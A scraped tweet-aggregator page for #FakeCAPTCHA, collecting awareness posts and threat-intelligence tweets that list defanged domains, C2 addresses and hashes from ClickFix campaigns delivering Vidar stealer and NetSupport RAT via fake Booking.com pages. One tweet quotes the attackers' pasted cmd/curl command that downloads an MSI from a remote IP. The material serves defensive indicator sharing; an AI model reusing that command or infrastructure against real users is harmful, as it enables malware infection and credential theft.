Top Tweets for #FakeCAPTCHA
ClickFix Attack: The Fake "Verify You're Human" Trick That Gets You to Infect Your Own Computer
https://t.co/kF6SyWg179 #JavidAmin, #ClickFix, #FakeCAPTCHA, #CyberSecurity, #Malware, #SocialEngineering, #PowerShell, #Infostealer, #OnlineSafety, #CyberAwareness, #WindowsSecurity
Microsoft and Japanese Police Dismantle Network Behind Over 1 Billion Phishing Messages www.cysecurity.news/2026/10/microsoft-and-japanese-police-dismantle.html #cvv #CyberFraud #FakeCaptcha

🪤 Fake CAPTCHAs now ask Windows users to paste commands into Run. That’s not proving you’re human—it’s proving scammers can turn your clipboard into an malware delivery service.
https://t.co/i0r2edyMdZ
#WindowsSecurity #Phishing #Clickfix #FakeCaptcha

CAPTCHA-র আড়ালে গোপনে তথ্য পাচার? সাবধান! | Ei Samay
#FakeCAPTCHA #CyberSecurity #DataLeak #CyberCrime #OnlineFraud #eisamay
“I'm not a robot.”
But don't let a CAPTCHA trick you into doing something unsafe.
**Not Every CAPTCHA Is Safe.**
#CyberSecurity #FakeCAPTCHA #Phishing #CyberAwareness #OnlineSafety #ScamAwareness #StaySafe #QuantumFort
PacketWatch's #TeamSixty43 has detected a new #ClickFix campaign. This campaign lures victims in with a #FakeCaptcha to solve that tricks the user into running a malicious PowerShell script that installs #Vidar Stealer onto the victim's machine.
Below is a list of #IOCs our team has recovered from these incidents. It is recommended to block these domains.
If you are a #PacketWatch client, rest assured that our threat hunt team has run hunts to identify any sign of this campaign in your environment.
+++ IOCs +++
FakeCaptcha > Vidar
Windows Terminal > PowerShell > [random characters].exe
pohuimne[.]lol (payload)
noscalpelvasectomy[.]com (FakeCaptcha)
productionmaza[.]cfd (C2)
prokladka[.]lol (payload)
dtc.victorramarisimobiliaria[.]com[.]br (C2)
+++
#threathunting #dfir #cybersurity #informationsecurity #threatintelligence
![packetwatch's tweet photo. PacketWatch's #TeamSixty43 has detected a new #ClickFix campaign. This campaign lures victims in with a #FakeCaptcha to solve that tricks the user into running a malicious PowerShell script that installs #Vidar Stealer onto the victim's machine.
Below is a list of #IOCs our team has recovered from these incidents. It is recommended to block these domains.
If you are a #PacketWatch client, rest assured that our threat hunt team has run hunts to identify any sign of this campaign in your environment.
+++ IOCs +++
FakeCaptcha > Vidar
Windows Terminal > PowerShell > [random characters].exe
pohuimne[.]lol (payload)
noscalpelvasectomy[.]com (FakeCaptcha)
productionmaza[.]cfd (C2)
prokladka[.]lol (payload)
dtc.victorramarisimobiliaria[.]com[.]br (C2)
+++
#threathunting #dfir #cybersurity #informationsecurity #threatintelligence](https://pbs.twimg.com/media/HGr2R2NaYAAK7IW.jpg)
FakeCaptcha > Vidar
Windows Terminal > PowerShell > [random characters].exe
pohuimne[.]lol (payload)
noscalpelvasectomy[.]com (FakeCaptcha)
productionmaza[.]cfd (C2)
prokladka[.]lol (payload)
dtc.victorramarisimobiliaria[.]com[.]br (C2)
#packetwatch #vidar #fakecaptcha
![ostrich_sec's tweet photo. FakeCaptcha > Vidar
Windows Terminal > PowerShell > [random characters].exe
pohuimne[.]lol (payload)
noscalpelvasectomy[.]com (FakeCaptcha)
productionmaza[.]cfd (C2)
prokladka[.]lol (payload)
dtc.victorramarisimobiliaria[.]com[.]br (C2)
#packetwatch #vidar #fakecaptcha https://t.co/XA1Fy73Dkk](https://pbs.twimg.com/media/HGnb6BSaUAAKTgs.jpg)
#booking #fakecaptcha #clickfix > #netsupport #Rat
👇
secure-extranet.]com/captcha/
👇ps1
jskeowgo.]com
👇ps1 netsupport
77.91.97.]92/032.txt
Samples Collection Updated
https://t.co/VOq71d1uyW
AnyRun
https://t.co/pclR1aWRjD
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #Rat
👇
secure-extranet.]com/captcha/
👇ps1
jskeowgo.]com
👇ps1 netsupport
77.91.97.]92/032.txt
Samples Collection Updated
https://t.co/VOq71d1uyW
AnyRun
https://t.co/pclR1aWRjD https://t.co/Bi7zUlw5jR](https://pbs.twimg.com/media/HE__hv3bkAE-0W2.jpg)
#booking #fakecaptcha #clickfix > #netsupport #rat
👇
sign-in-property.]com/start/
👇
agdosve.]com
👇
Client32.ini
MD5
5b17494aec527acfa9a78a51ec2eb836
👇
5.188.87.]38
asfasfqwf.]com
asdasfa.]com
Samples
https://t.co/VOq71d1uyW
AnyRun
https://t.co/AvmyQt43f9
@k3dg3 @500mk500
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #rat
👇
sign-in-property.]com/start/
👇
agdosve.]com
👇
Client32.ini
MD5
5b17494aec527acfa9a78a51ec2eb836
👇
5.188.87.]38
asfasfqwf.]com
asdasfa.]com
Samples
https://t.co/VOq71d1uyW
AnyRun
https://t.co/AvmyQt43f9
@k3dg3 @500mk500 https://t.co/EU3855akpJ](https://pbs.twimg.com/media/HEou1MtWgAAij7v.png)
#booking #clickfix #fakecaptcha
"Notice: guest wants to cancel stay"
👇
bkng-id592857712.]com
👇
syrocast.]com
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
Samples Collection #Updated
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/HOQ8uwntO6
cc @500mk500 @k3dg3
![JAMESWT_WT's tweet photo. #booking #clickfix #fakecaptcha
"Notice: guest wants to cancel stay"
👇
bkng-id592857712.]com
👇
syrocast.]com
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
Samples Collection #Updated
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/HOQ8uwntO6
cc @500mk500 @k3dg3 https://t.co/UpQctPrbf6](https://pbs.twimg.com/media/HE0e3yHWAAAb3rK.png)
"Traveler Updated Plans"
#booking #clickfix #fakecaptcha
👇
reservacontrolpaneltax.]com/booking.com_files/vp32ssdaq.html
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
👇
C2
nisuwyyyqsafdas.]com
94.26.90.]216
Samples
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/sd0QsLzwVF
@k3dg3
![JAMESWT_WT's tweet photo. "Traveler Updated Plans"
#booking #clickfix #fakecaptcha
👇
reservacontrolpaneltax.]com/booking.com_files/vp32ssdaq.html
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
👇
C2
nisuwyyyqsafdas.]com
94.26.90.]216
Samples
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/sd0QsLzwVF
@k3dg3 https://t.co/0hUujMiH98](https://pbs.twimg.com/media/HEPI4E5WwAA0tuL.jpg)
#clickfix #netsupport #fakecaptcha
sekolahtinta.]edu.]my/wp-blog-footer.php?page=
👇
vesifolf.]com
👇ps1
167.148.195.]30/ffa.txt
👇
193.24.211.242/fakeurl.htm
Client32
MD5 c212c81a9855dfd392583112a2c66a5c
blixorugggm.]org:443
kfalospiro.]com:443
Samples
https://t.co/n2JNk3JzOX
![JAMESWT_WT's tweet photo. #clickfix #netsupport #fakecaptcha
sekolahtinta.]edu.]my/wp-blog-footer.php?page=
👇
vesifolf.]com
👇ps1
167.148.195.]30/ffa.txt
👇
193.24.211.242/fakeurl.htm
Client32
MD5 c212c81a9855dfd392583112a2c66a5c
blixorugggm.]org:443
kfalospiro.]com:443
Samples
https://t.co/n2JNk3JzOX https://t.co/QEpAODGzff](https://pbs.twimg.com/media/HEw3FGqboAAKTXo.jpg)
#booking #fakecaptcha #clickfix
👇
script].google.]com/macros/s/AKfycbziQC4rBGJfz0J6R48KyOeRq99Xi-519VDxHFGqVuqFhHdFl0z-nBDIg7SyUbvpncaDYA/exec
👇
property-sing-in.]com/start/
👇
gaowvdoxh.]com
Samples only ps1 who can check it?
https://t.co/yZ5CEPFUer
@k3dg3 @500mk500
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
script].google.]com/macros/s/AKfycbziQC4rBGJfz0J6R48KyOeRq99Xi-519VDxHFGqVuqFhHdFl0z-nBDIg7SyUbvpncaDYA/exec
👇
property-sing-in.]com/start/
👇
gaowvdoxh.]com
Samples only ps1 who can check it?
https://t.co/yZ5CEPFUer
@k3dg3 @500mk500 https://t.co/j16689i7SJ](https://pbs.twimg.com/media/HEwLMAhWYAA6PVJ.png)
#booking #fakecaptcha #clickfix
👇
script].google.]com/macros/s/AKfycbziQC4rBGJfz0J6R48KyOeRq99Xi-519VDxHFGqVuqFhHdFl0z-nBDIg7SyUbvpncaDYA/exec
👇
property-sing-in.]com/start/
👇
gaowvdoxh.]com
Samples only ps1 who can check it?
https://t.co/yZ5CEPFUer
@k3dg3 @500mk500
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
script].google.]com/macros/s/AKfycbziQC4rBGJfz0J6R48KyOeRq99Xi-519VDxHFGqVuqFhHdFl0z-nBDIg7SyUbvpncaDYA/exec
👇
property-sing-in.]com/start/
👇
gaowvdoxh.]com
Samples only ps1 who can check it?
https://t.co/yZ5CEPFUer
@k3dg3 @500mk500 https://t.co/j16689i7SJ](https://pbs.twimg.com/media/HEwLMAhWYAA6PVJ.png)
"Booking Hotel Room Availability"
#booking #clickfix #FakeCaptcha
👇
admln.bookdash-extranetmgmt.]com
👇
mlbkn.]com/miumiu.7z
Samples
https://t.co/u4Y5FBtJso
AnyRun
https://t.co/o46UhE5pbA
cc @k3dg3 @500mk500
![JAMESWT_WT's tweet photo. "Booking Hotel Room Availability"
#booking #clickfix #FakeCaptcha
👇
admln.bookdash-extranetmgmt.]com
👇
mlbkn.]com/miumiu.7z
Samples
https://t.co/u4Y5FBtJso
AnyRun
https://t.co/o46UhE5pbA
cc @k3dg3 @500mk500 https://t.co/L9TWwgxozN](https://pbs.twimg.com/media/HEqgG4aXgAAsTBw.jpg)
#booking #fakecaptcha #clickfix > #netsupport #rat
👇
sign-in-property.]com/start/
👇
agdosve.]com
👇
Client32.ini
MD5
5b17494aec527acfa9a78a51ec2eb836
👇
5.188.87.]38
asfasfqwf.]com
asdasfa.]com
Samples
https://t.co/VOq71d1uyW
AnyRun
https://t.co/AvmyQt43f9
@k3dg3 @500mk500
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #rat
👇
sign-in-property.]com/start/
👇
agdosve.]com
👇
Client32.ini
MD5
5b17494aec527acfa9a78a51ec2eb836
👇
5.188.87.]38
asfasfqwf.]com
asdasfa.]com
Samples
https://t.co/VOq71d1uyW
AnyRun
https://t.co/AvmyQt43f9
@k3dg3 @500mk500 https://t.co/EU3855akpJ](https://pbs.twimg.com/media/HEou1MtWgAAij7v.png)
"Traveler Updated Plans"
#booking #clickfix #fakecaptcha
👇
reservacontrolpaneltax.]com/booking.com_files/vp32ssdaq.html
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
👇
C2
nisuwyyyqsafdas.]com
94.26.90.]216
Samples
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/sd0QsLzwVF
@k3dg3
![JAMESWT_WT's tweet photo. "Traveler Updated Plans"
#booking #clickfix #fakecaptcha
👇
reservacontrolpaneltax.]com/booking.com_files/vp32ssdaq.html
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
👇
C2
nisuwyyyqsafdas.]com
94.26.90.]216
Samples
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/sd0QsLzwVF
@k3dg3 https://t.co/0hUujMiH98](https://pbs.twimg.com/media/HEPI4E5WwAA0tuL.jpg)
#booking #fakecaptcha #clickfix
👇
id-582746556281932341.]com/
extranetpulseboard.]help/
>👇
booking.]com_files/vp32ssdaq.html
👇
thairefaruq.]com/surionimyeaqa.zip
👇
C2
95.85.244.]166
asmweosiqsaaw.]com
bjeymorynum.]com
nisuwyyyqsafdas.]com
Samples
https://t.co/6IVh9qQr5U
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
id-582746556281932341.]com/
extranetpulseboard.]help/
>👇
booking.]com_files/vp32ssdaq.html
👇
thairefaruq.]com/surionimyeaqa.zip
👇
C2
95.85.244.]166
asmweosiqsaaw.]com
bjeymorynum.]com
nisuwyyyqsafdas.]com
Samples
https://t.co/6IVh9qQr5U https://t.co/x6tugYlWAV](https://pbs.twimg.com/media/HD61TAdXkAA4WUM.png)
#booking #fakecaptcha #clickfix
👇
guestreservationpullse.]help/booking.com_files/vp32ssdaq.html
👇
solimayticontexta.]com
👇
sabrineme.]com/asfixsoftwaredev.zip
C2
⛔️95.85.244.]166
⛔️asmweosiqsaaw.]com
Samples
https://t.co/2mn8Ek0Io9
AnyRun
https://t.co/WVyOBKkllo
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
guestreservationpullse.]help/booking.com_files/vp32ssdaq.html
👇
solimayticontexta.]com
👇
sabrineme.]com/asfixsoftwaredev.zip
C2
⛔️95.85.244.]166
⛔️asmweosiqsaaw.]com
Samples
https://t.co/2mn8Ek0Io9
AnyRun
https://t.co/WVyOBKkllo https://t.co/OH4N3UOzMw](https://pbs.twimg.com/media/HDEiP-PWQAA1JcC.jpg)
#FakeCaptcha #ClickFix #LogMein
cloudflare--captcha2.]global.ssl.fastly.]net
👇
cmd /c "cd /D %userprofile% && curl -s -o LogMeInResolve_Unattended.msi http://46.62.197.]232:7000/LogMeInResolve_Unattended.msi
👇
https://t.co/WOpIdFXayC
AnyRun
https://t.co/SpoFehjuYz
cc @k3dg3
![JAMESWT_WT's tweet photo. #FakeCaptcha #ClickFix #LogMein
cloudflare--captcha2.]global.ssl.fastly.]net
👇
cmd /c "cd /D %userprofile% && curl -s -o LogMeInResolve_Unattended.msi http://46.62.197.]232:7000/LogMeInResolve_Unattended.msi
👇
https://t.co/WOpIdFXayC
AnyRun
https://t.co/SpoFehjuYz
cc @k3dg3 https://t.co/Eu6oQjN872](https://pbs.twimg.com/media/HDm8wPFW0AA5lsr.jpg)
New #Click-Fix Variant / webdav / workflow
Some Related Samples +extra
👇
https://t.co/KVhDbcYhJH
AnyRun
Zip https://t.co/Ul71s20G7E
Triage
Zip https://t.co/hEg296rWdD
Msi https://t.co/h9V3635OO2
cc @1ZRR4H @ShadowOpCode @k3dg3


#booking #ClickFix #fakecaptcha
> Netsupport / DllSideLoading
Domains
web-booking-pulse[.]com
auth-in-extranet.]com
signs-in-extranet.]com
web-booking-extranet.]com
web-extranet-login.]com
sign-in-extranets.]com
confirmation-id63926.]com
1/X
#booking #ClickFix #fakecaptcha
> Netsupport / DllSideLoading
Domains
web-booking-pulse[.]com
auth-in-extranet.]com
signs-in-extranet.]com
web-booking-extranet.]com
web-extranet-login.]com
sign-in-extranets.]com
confirmation-id63926.]com
1/X
#ClickFix #FakeCaptcha
temucoin.]lat
distortedcoin.]lat
distortedcoin.]lat
daiteobeziyanamtelok.]lol
> [email protected]
Samples
https://t.co/aH4FysoL3y
https://t.co/CcaF6h8HP6
https://t.co/isPpq7EtFy
https://t.co/dZQEiojoE6
cc @500mk500 @skocherhan @illegalFawn
![JAMESWT_WT's tweet photo. #ClickFix #FakeCaptcha
temucoin.]lat
distortedcoin.]lat
distortedcoin.]lat
daiteobeziyanamtelok.]lol
> iqehqqh@outlook.com
Samples
https://t.co/aH4FysoL3y
https://t.co/CcaF6h8HP6
https://t.co/isPpq7EtFy
https://t.co/dZQEiojoE6
cc @500mk500 @skocherhan @illegalFawn https://t.co/gDYaNqFK2d](https://pbs.twimg.com/media/HDWo6RwXcAA9Bm8.png)
If a website asks you to press Win+R and paste something into a command prompt: don't.
https://t.co/m144RwMBCC
#booking #fakecaptcha #clickfix
👇
guestreservationpullse.]help/booking.com_files/vp32ssdaq.html
👇
solimayticontexta.]com
👇
sabrineme.]com/asfixsoftwaredev.zip
C2
⛔️95.85.244.]166
⛔️asmweosiqsaaw.]com
Samples
https://t.co/2mn8Ek0Io9
AnyRun
https://t.co/WVyOBKkllo
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
guestreservationpullse.]help/booking.com_files/vp32ssdaq.html
👇
solimayticontexta.]com
👇
sabrineme.]com/asfixsoftwaredev.zip
C2
⛔️95.85.244.]166
⛔️asmweosiqsaaw.]com
Samples
https://t.co/2mn8Ek0Io9
AnyRun
https://t.co/WVyOBKkllo https://t.co/OH4N3UOzMw](https://pbs.twimg.com/media/HDEiP-PWQAA1JcC.jpg)
Last Seen Hashtags on Sotwe
SkullgirlsArtContest2026
Seen from Malaysia
ensest annesi
Seen from Turkey
minichat():video
Seen from Argentina
ediatum
Seen from United States
VQ48
Seen from United States
DoctrinesOfDevils
Seen from United States
village porn
Seen from France
รีทวิตส่งหีให้ดู
Seen from Thailand
jonita jonas
Seen from Italy
juliaann
Seen from Turkey
Trends for you
Most Popular Users

Elon Musk 
@elonmusk
241.5M followers

Barack Obama 
@barackobama
118.8M followers

Cristiano Ronaldo 
@cristiano
114.6M followers

Donald J. Trump 
@realdonaldtrump
111.8M followers

Narendra Modi 
@narendramodi
107.1M followers

Rihanna 
@rihanna
98.7M followers

NASA 
@nasa
92.3M followers

Justin Bieber 
@justinbieber
91.8M followers

KATY PERRY 
@katyperry
90.1M followers

Taylor Swift 
@taylorswift13
84M followers

Lady Gaga 
@ladygaga
75.5M followers

Virat Kohli 
@imvkohli
73.5M followers

Kim Kardashian 
@kimkardashian
70.9M followers

YouTube 
@youtube
68.8M followers

Neymar Jr 
@neymarjr
66.5M followers

Bill Gates 
@billgates
65.3M followers

Selena Gomez 
@selenagomez
63.1M followers

The Ellen Show
@theellenshow
62.2M followers

CNN 
@cnn
61.7M followers

X 
@x
60.7M followers






![packetwatch's tweet photo. PacketWatch's #TeamSixty43 has detected a new #ClickFix campaign. This campaign lures victims in with a #FakeCaptcha to solve that tricks the user into running a malicious PowerShell script that installs #Vidar Stealer onto the victim's machine.
Below is a list of #IOCs our team has recovered from these incidents. It is recommended to block these domains.
If you are a #PacketWatch client, rest assured that our threat hunt team has run hunts to identify any sign of this campaign in your environment.
+++ IOCs +++
FakeCaptcha > Vidar
Windows Terminal > PowerShell > [random characters].exe
pohuimne[.]lol (payload)
noscalpelvasectomy[.]com (FakeCaptcha)
productionmaza[.]cfd (C2)
prokladka[.]lol (payload)
dtc.victorramarisimobiliaria[.]com[.]br (C2)
+++
#threathunting #dfir #cybersurity #informationsecurity #threatintelligence](https://pbs.twimg.com/media/HGr2R2IbcAA0RSv.jpg)
![packetwatch's tweet photo. PacketWatch's #TeamSixty43 has detected a new #ClickFix campaign. This campaign lures victims in with a #FakeCaptcha to solve that tricks the user into running a malicious PowerShell script that installs #Vidar Stealer onto the victim's machine.
Below is a list of #IOCs our team has recovered from these incidents. It is recommended to block these domains.
If you are a #PacketWatch client, rest assured that our threat hunt team has run hunts to identify any sign of this campaign in your environment.
+++ IOCs +++
FakeCaptcha > Vidar
Windows Terminal > PowerShell > [random characters].exe
pohuimne[.]lol (payload)
noscalpelvasectomy[.]com (FakeCaptcha)
productionmaza[.]cfd (C2)
prokladka[.]lol (payload)
dtc.victorramarisimobiliaria[.]com[.]br (C2)
+++
#threathunting #dfir #cybersurity #informationsecurity #threatintelligence](https://pbs.twimg.com/media/HGr2R2IbEAAhjGd.png)
![packetwatch's tweet photo. PacketWatch's #TeamSixty43 has detected a new #ClickFix campaign. This campaign lures victims in with a #FakeCaptcha to solve that tricks the user into running a malicious PowerShell script that installs #Vidar Stealer onto the victim's machine.
Below is a list of #IOCs our team has recovered from these incidents. It is recommended to block these domains.
If you are a #PacketWatch client, rest assured that our threat hunt team has run hunts to identify any sign of this campaign in your environment.
+++ IOCs +++
FakeCaptcha > Vidar
Windows Terminal > PowerShell > [random characters].exe
pohuimne[.]lol (payload)
noscalpelvasectomy[.]com (FakeCaptcha)
productionmaza[.]cfd (C2)
prokladka[.]lol (payload)
dtc.victorramarisimobiliaria[.]com[.]br (C2)
+++
#threathunting #dfir #cybersurity #informationsecurity #threatintelligence](https://pbs.twimg.com/media/HGr2JJHa8AAuH2U.jpg)


![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #Rat
👇
secure-extranet.]com/captcha/
👇ps1
jskeowgo.]com
👇ps1 netsupport
77.91.97.]92/032.txt
Samples Collection Updated
https://t.co/VOq71d1uyW
AnyRun
https://t.co/pclR1aWRjD https://t.co/Bi7zUlw5jR](https://pbs.twimg.com/media/HE__hPBa0AIJNR6.jpg)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #Rat
👇
secure-extranet.]com/captcha/
👇ps1
jskeowgo.]com
👇ps1 netsupport
77.91.97.]92/032.txt
Samples Collection Updated
https://t.co/VOq71d1uyW
AnyRun
https://t.co/pclR1aWRjD https://t.co/Bi7zUlw5jR](https://pbs.twimg.com/media/HE__gQ7bMAAp8kn.png)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #Rat
👇
secure-extranet.]com/captcha/
👇ps1
jskeowgo.]com
👇ps1 netsupport
77.91.97.]92/032.txt
Samples Collection Updated
https://t.co/VOq71d1uyW
AnyRun
https://t.co/pclR1aWRjD https://t.co/Bi7zUlw5jR](https://pbs.twimg.com/media/HE__KBha4AAlXi2.png)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #rat
👇
sign-in-property.]com/start/
👇
agdosve.]com
👇
Client32.ini
MD5
5b17494aec527acfa9a78a51ec2eb836
👇
5.188.87.]38
asfasfqwf.]com
asdasfa.]com
Samples
https://t.co/VOq71d1uyW
AnyRun
https://t.co/AvmyQt43f9
@k3dg3 @500mk500 https://t.co/EU3855akpJ](https://pbs.twimg.com/media/HEou0m4WYAAa9pY.jpg)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #rat
👇
sign-in-property.]com/start/
👇
agdosve.]com
👇
Client32.ini
MD5
5b17494aec527acfa9a78a51ec2eb836
👇
5.188.87.]38
asfasfqwf.]com
asdasfa.]com
Samples
https://t.co/VOq71d1uyW
AnyRun
https://t.co/AvmyQt43f9
@k3dg3 @500mk500 https://t.co/EU3855akpJ](https://pbs.twimg.com/media/HEoucWQaUAA_mT5.png)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix > #netsupport #rat
👇
sign-in-property.]com/start/
👇
agdosve.]com
👇
Client32.ini
MD5
5b17494aec527acfa9a78a51ec2eb836
👇
5.188.87.]38
asfasfqwf.]com
asdasfa.]com
Samples
https://t.co/VOq71d1uyW
AnyRun
https://t.co/AvmyQt43f9
@k3dg3 @500mk500 https://t.co/EU3855akpJ](https://pbs.twimg.com/media/HEoubcwbYAAOp_e.png)
![JAMESWT_WT's tweet photo. #booking #clickfix #fakecaptcha
"Notice: guest wants to cancel stay"
👇
bkng-id592857712.]com
👇
syrocast.]com
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
Samples Collection #Updated
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/HOQ8uwntO6
cc @500mk500 @k3dg3 https://t.co/UpQctPrbf6](https://pbs.twimg.com/media/HE0e3GrbMAAkS_B.png)
![JAMESWT_WT's tweet photo. #booking #clickfix #fakecaptcha
"Notice: guest wants to cancel stay"
👇
bkng-id592857712.]com
👇
syrocast.]com
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
Samples Collection #Updated
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/HOQ8uwntO6
cc @500mk500 @k3dg3 https://t.co/UpQctPrbf6](https://pbs.twimg.com/media/HE0ea2AWQAAgueY.jpg)
![JAMESWT_WT's tweet photo. #booking #clickfix #fakecaptcha
"Notice: guest wants to cancel stay"
👇
bkng-id592857712.]com
👇
syrocast.]com
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
Samples Collection #Updated
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/HOQ8uwntO6
cc @500mk500 @k3dg3 https://t.co/UpQctPrbf6](https://pbs.twimg.com/media/HE0eZqhaoAAsAi1.png)
![JAMESWT_WT's tweet photo. "Traveler Updated Plans"
#booking #clickfix #fakecaptcha
👇
reservacontrolpaneltax.]com/booking.com_files/vp32ssdaq.html
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
👇
C2
nisuwyyyqsafdas.]com
94.26.90.]216
Samples
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/sd0QsLzwVF
@k3dg3 https://t.co/0hUujMiH98](https://pbs.twimg.com/media/HEPI1OqWsAAJTQE.png)
![JAMESWT_WT's tweet photo. "Traveler Updated Plans"
#booking #clickfix #fakecaptcha
👇
reservacontrolpaneltax.]com/booking.com_files/vp32ssdaq.html
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
👇
C2
nisuwyyyqsafdas.]com
94.26.90.]216
Samples
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/sd0QsLzwVF
@k3dg3 https://t.co/0hUujMiH98](https://pbs.twimg.com/media/HEPHM0BbsAA2-EQ.png)
![JAMESWT_WT's tweet photo. "Traveler Updated Plans"
#booking #clickfix #fakecaptcha
👇
reservacontrolpaneltax.]com/booking.com_files/vp32ssdaq.html
👇
oxfordmobilexray.]com/oxfordmobilexray.zip
👇
C2
nisuwyyyqsafdas.]com
94.26.90.]216
Samples
https://t.co/R6FtoA8IPr
AnyRun
https://t.co/sd0QsLzwVF
@k3dg3 https://t.co/0hUujMiH98](https://pbs.twimg.com/media/HEPHMSrb0AAdE9D.png)
![JAMESWT_WT's tweet photo. #clickfix #netsupport #fakecaptcha
sekolahtinta.]edu.]my/wp-blog-footer.php?page=
👇
vesifolf.]com
👇ps1
167.148.195.]30/ffa.txt
👇
193.24.211.242/fakeurl.htm
Client32
MD5 c212c81a9855dfd392583112a2c66a5c
blixorugggm.]org:443
kfalospiro.]com:443
Samples
https://t.co/n2JNk3JzOX https://t.co/QEpAODGzff](https://pbs.twimg.com/media/HEw3B60bcAAnYyv.png)
![JAMESWT_WT's tweet photo. #clickfix #netsupport #fakecaptcha
sekolahtinta.]edu.]my/wp-blog-footer.php?page=
👇
vesifolf.]com
👇ps1
167.148.195.]30/ffa.txt
👇
193.24.211.242/fakeurl.htm
Client32
MD5 c212c81a9855dfd392583112a2c66a5c
blixorugggm.]org:443
kfalospiro.]com:443
Samples
https://t.co/n2JNk3JzOX https://t.co/QEpAODGzff](https://pbs.twimg.com/media/HEw0vCUXwAQNGcm.jpg)
![JAMESWT_WT's tweet photo. #clickfix #netsupport #fakecaptcha
sekolahtinta.]edu.]my/wp-blog-footer.php?page=
👇
vesifolf.]com
👇ps1
167.148.195.]30/ffa.txt
👇
193.24.211.242/fakeurl.htm
Client32
MD5 c212c81a9855dfd392583112a2c66a5c
blixorugggm.]org:443
kfalospiro.]com:443
Samples
https://t.co/n2JNk3JzOX https://t.co/QEpAODGzff](https://pbs.twimg.com/media/HEw0ueOW4AAuVmk.jpg)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
script].google.]com/macros/s/AKfycbziQC4rBGJfz0J6R48KyOeRq99Xi-519VDxHFGqVuqFhHdFl0z-nBDIg7SyUbvpncaDYA/exec
👇
property-sing-in.]com/start/
👇
gaowvdoxh.]com
Samples only ps1 who can check it?
https://t.co/yZ5CEPFUer
@k3dg3 @500mk500 https://t.co/j16689i7SJ](https://pbs.twimg.com/media/HEwLC5bbMAE5shR.jpg)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
script].google.]com/macros/s/AKfycbziQC4rBGJfz0J6R48KyOeRq99Xi-519VDxHFGqVuqFhHdFl0z-nBDIg7SyUbvpncaDYA/exec
👇
property-sing-in.]com/start/
👇
gaowvdoxh.]com
Samples only ps1 who can check it?
https://t.co/yZ5CEPFUer
@k3dg3 @500mk500 https://t.co/j16689i7SJ](https://pbs.twimg.com/media/HEwLAhEa0AAxbzv.jpg)
![JAMESWT_WT's tweet photo. "Booking Hotel Room Availability"
#booking #clickfix #FakeCaptcha
👇
admln.bookdash-extranetmgmt.]com
👇
mlbkn.]com/miumiu.7z
Samples
https://t.co/u4Y5FBtJso
AnyRun
https://t.co/o46UhE5pbA
cc @k3dg3 @500mk500 https://t.co/L9TWwgxozN](https://pbs.twimg.com/media/HEqgEE7aoAANaDv.jpg)
![JAMESWT_WT's tweet photo. "Booking Hotel Room Availability"
#booking #clickfix #FakeCaptcha
👇
admln.bookdash-extranetmgmt.]com
👇
mlbkn.]com/miumiu.7z
Samples
https://t.co/u4Y5FBtJso
AnyRun
https://t.co/o46UhE5pbA
cc @k3dg3 @500mk500 https://t.co/L9TWwgxozN](https://pbs.twimg.com/media/HEqgCqGacAApd9h.png)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
id-582746556281932341.]com/
extranetpulseboard.]help/
>👇
booking.]com_files/vp32ssdaq.html
👇
thairefaruq.]com/surionimyeaqa.zip
👇
C2
95.85.244.]166
asmweosiqsaaw.]com
bjeymorynum.]com
nisuwyyyqsafdas.]com
Samples
https://t.co/6IVh9qQr5U https://t.co/x6tugYlWAV](https://pbs.twimg.com/media/HD61SZSboAIYyIw.png)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
id-582746556281932341.]com/
extranetpulseboard.]help/
>👇
booking.]com_files/vp32ssdaq.html
👇
thairefaruq.]com/surionimyeaqa.zip
👇
C2
95.85.244.]166
asmweosiqsaaw.]com
bjeymorynum.]com
nisuwyyyqsafdas.]com
Samples
https://t.co/6IVh9qQr5U https://t.co/x6tugYlWAV](https://pbs.twimg.com/media/HD61In5boAMDYDf.jpg)
![JAMESWT_WT's tweet photo. #booking #fakecaptcha #clickfix
👇
guestreservationpullse.]help/booking.com_files/vp32ssdaq.html
👇
solimayticontexta.]com
👇
sabrineme.]com/asfixsoftwaredev.zip
C2
⛔️95.85.244.]166
⛔️asmweosiqsaaw.]com
Samples
https://t.co/2mn8Ek0Io9
AnyRun
https://t.co/WVyOBKkllo https://t.co/OH4N3UOzMw](https://pbs.twimg.com/media/HDEhTxBXkAAf2aJ.png)
